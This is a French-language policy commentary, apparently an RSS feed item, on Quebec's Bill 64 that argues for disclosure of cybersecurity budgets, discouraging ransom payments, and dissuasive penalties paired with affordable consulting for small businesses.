<p>Le projet de Loi 64 prévoit une obligation de prendre les moyens « raisonnables » pour assurer la sécurité des renseignements personnels. Ces moyens ont un coût. Il serait intéressant de connaître le pourcentage du budget consacré à la cybersécurité par les organismes et entreprises. Cette information permettrait aux client-es de faire un choix éclairé en choisissant les entreprises qui ont réellement à cœur la sécurité de leurs données.</p>

<h1 id="décourager-le-paiement-des-rançons">Décourager le paiement des rançons</h1>

<p>Le rançongiciel est une entreprise lucrative. Tant que nous payons, nous continuerons à être les victimes de ces attaques. De plus, il est fallacieux de se fier aux promesses de destruction de données volées de la part de groupes criminels. Une victime qui paie une fois est une cible de choix pour une deuxième attaque.</p>

<h1 id="des-sanctions-administratives-et-pécuniaires-dissuasives">Des sanctions administratives et pécuniaires dissuasives</h1>

<p>Nous sommes contents de voir l’introduction de sanctions pécuniaires dans le projet de Loi 64. Malheureusement, tant que le coût de l’inaction demeure inférieur au coût d’un programme de cybersécurité efficace, c’est l’inaction qui sera priorisée par certains. Les sanctions doivent être dissuasives et assez importantes afin d’encourager les entreprises qui ne prennent pas la menace au sérieux à investir en cybersécurité de façon adéquate.</p>

<p>Nous sommes conscients que toutes les entreprises n’ont pas les mêmes moyens. Par contre, la conservation de données personnelles est un choix qui implique une responsabilité. Ces sanctions devraient donc être associées à la possibilité pour les PMEs de bénéficier des services de consultant-es à la hauteur de leurs moyens.</p>

<p>Les brèches de sécurité et les fuites de données font partie de la nouvelle réalité. Les conséquences pour les entreprises impactées et leurs client-es sont graves. Il est donc primordial de prendre cette menace aux sérieux et mettre en place les mesures nécessaires pour endiguer ce fléau.</p>
]]></content:encoded>
    </item>
  </channel>
</rss>

